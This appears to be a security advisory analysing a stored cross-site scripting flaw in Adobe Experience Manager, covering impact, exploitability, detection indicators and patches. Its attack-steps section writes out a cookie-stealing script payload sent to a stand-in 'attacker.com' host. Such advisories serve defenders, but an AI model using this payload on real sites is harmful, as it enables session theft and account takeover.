CVE-2025-46901: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46901 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged attackers to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available via Adobe's security advisory APSB25-48. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored server-side and rendered without proper output encoding when other users visit the affected page. Exploitation requires low privileges to write content and user interaction (a victim browsing to the page containing the malicious field), but no special configuration or elevated access beyond a basic authenticated session (Adobe Advisory).

Successful exploitation allows malicious JavaScript to execute in the victim's browser within the context of the AEM application, potentially enabling session cookie theft, account takeover, unauthorized actions performed on behalf of the victim, redirection to malicious sites, capture of sensitive user input, and social engineering or page defacement. The CVSS scope is marked as "Changed," indicating the impact can extend beyond the vulnerable component to affect other users of the platform. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

There is no public proof-of-concept exploit code known at this time, and no evidence of in-the-wild exploitation has been reported. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated low-privileged account, which somewhat limits the attack surface compared to unauthenticated vulnerabilities (Adobe Advisory).

1. Obtain low-privileged access: Acquire or create a low-privileged AEM user account (e.g., a content author or contributor role) on the target AEM instance.
2. Identify vulnerable form fields: Navigate AEM's content authoring interface to locate form fields that accept user input and are rendered to other users without proper sanitization.
3. Inject malicious payload: Enter a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save or publish the content.
4. Wait for victim interaction: When an authenticated victim (e.g., an administrator or another user) browses to the page containing the injected field, the malicious script executes in their browser.
5. Harvest results: The attacker receives stolen session cookies, credentials, or other sensitive data via the attacker-controlled endpoint, potentially enabling session hijacking or further account compromise (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-authored pages; traffic to known attacker-controlled domains carrying cookie or session data in query parameters.
• File System / Content Repository: Presence of JavaScript payloads stored within AEM's JCR (Java Content Repository) nodes, discoverable via CRXDE Lite or repository queries for nodes containing <script> or event handler attributes in text properties.
• Browser/Application: Unexpected redirects or pop-ups experienced by users browsing AEM-published pages; browser developer tool console errors related to Content Security Policy violations if CSP is enabled.

Adobe has released patched versions addressing this vulnerability: AEM on-premise users should upgrade to version 6.5.23.0 or later, and AEM Cloud Service users should ensure they are on release 2025.5.0 or later. As interim mitigations, organizations should implement strict Content Security Policy (CSP) headers to restrict script execution, enforce input validation and output encoding on all user-supplied content, and limit content authoring privileges to trusted users only. Regularly auditing stored content for unexpected script tags is also recommended (Adobe Advisory).